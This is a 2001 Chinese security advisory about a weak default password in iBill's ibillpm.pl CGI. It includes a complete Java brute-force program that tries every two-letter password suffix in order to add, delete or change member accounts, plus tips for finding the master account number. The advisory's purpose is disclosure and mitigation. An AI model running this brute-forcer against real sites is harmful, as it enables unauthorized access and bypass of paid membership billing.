iBill的密码管理CGI的验证存在漏洞发布时间:2001-10-26 更新时间:2001-10-26 严重程度:中 威胁程度:口令恢复 错误类型:设计错误 利用方式:服务器模式 受影响系统 ibillpm.pl Perl CGI script详细描述 ibillpm.pl是客户端密码管理系统使用的脚本,其中存在不够强壮的密码, 客户端的MASTER_ACCOUNT(可以在登陆页面上看到)密码只是MASTER_ACCOUNT 加上2个小写字符,这就可以导致使用POST进行暴力破解在.htpasswd文件中 的用户。CGI没有对这些改变进行记录,也没有WEB日志文件来提示用户名已经 增加到系统上(POST数据不修改),不过在erro_log中会产生HTTP响应代码200. 最终攻击者可以绕过billing系统,增加任意用户名和密码到"member"上。 测试代码 // 10/25/2001 import java.net.*; import java.io.*; /** * IBillHack class for informational purposes only. * This program brute-forces POST requests to the iBill Password Management CGI * and allows us to add/delete usernames and change passwords on websites * that used iBill Password Management using default installation. * By default iBill sets up the $authpwd as MASTER_ACCOUNTxx, where "xx" * is a pair of letters [a-z]. It is suggested that all clients of iBill * that use Password Management aquire a new $authpwd for their ibillpm.pl * script. * MASTER_ACCOUNT can be found as part of the <FORM> tag on the signup pages: * <input type="hidden" name="account" value="123456-500"> * OR * <input type="hidden" name="account" value="123456500"> * The last 3 digits is the sub-account, and somtimes there is a dash, * sometimes not. In this case MASTER_ACCOUNT=123456. * * /cgi-bin/ibillpm.pl is the default path to the CGI. Sometimes the webmaster * is smart enough not to use the default and request that $authpwd be changed * to something more secure. In addition to these measures, a webmaster can * also modify their httpd.conf to only allow iBill IP addresses to request * the Password Management CGI script. * * The correct $authpwd is not saved here. That is an optional exercise for * the reader. * * Here are the return codes from the ibillpm.pl script (not HTTP status codes) * and their meaning: * * 501 - authentication failed * 502 - invalid request type (command must be add, delete, or chgpwd) * 503 - failed to locate the password file * 504 - failed to open the password file * 505 - specified user already exists * 506 - specified user doesn't exist * 507 - invalid username * 508 - invalid password * * 201 - add user success * 202 - delete user success * 203 - change password success * */ public class IBillHack { public static void main(String args[]) { if (args.length != 6) { System.err.println("Usage: java IBillHack <target_hostname> </path/to/cgi-bin/ibillpm.pl> " + "<add|delete|chgpwd> <username> <password> <master_account>"); System.err.println("Example: java IBillHack www.somesite.com /cgi-bin/ibillpm.pl add bob 1pass 123456"); System.exit(1); } char letters[] = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; for (int i = 0; i < letters.length; i++) { for (int j = 0; j < letters.length; j++) { try { Socket s = new Socket(InetAddress.getByName(args[0]), 80); StringBuffer headers = new StringBuffer(); headers.append("POST " + args[1] + " HTTP/1.1\n"); headers.append("Referer: http://" + args[0] + args[1] + "\n"); headers.append("Content-Type: application/x-www-form-urlencoded\n"); headers.append("User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)\n"); headers.append("Host: " + args[0] + "\n"); StringBuffer query = new StringBuffer(); query.append("\nauthpwd=" + args[5] + letters[i] + letters[j] + "&reqtype=" + args[2] + "&username=" + args[3] + "&password=" + args[4] + "&submit=Submit\n"); String q = query.toString(); headers.append("Content-Length: " + q.length() + "\n"); OutputStream os = new BufferedOutputStream(s.getOutputStream()); os.write(headers.toString().getBytes()); os.write(q.getBytes()); os.flush(); System.err.println("Sending..."); System.out.print(headers.toString()); System.out.println(q); s.close(); Thread.sleep(500); } catch (Exception e) { e.printStackTrace(); } } } System.err.println("--------------------------------------------------------------------"); System.err.println("Finished trying all aa-zz combinations for MASTER_ACCOUNT " + args[5]); System.err.println("Try logging into the members section of " + args[0] + " with username/password " + args[3] + "/" + args[4]); System.err.println("--------------------------------------------------------------------"); } } 解决方案 临时方法: 1)启动脚本到隐秘的位置。 1)对ibillpm.pl请求设置密码。 3)改变web服务器配置只允许.ibill.com地址访问ibillpm.pl. 相关信息 MK Ultra (mkultra@dqc.org) 参考:http://archives.neohapsis.com/archives/bugtraq/2001-10/0242.html |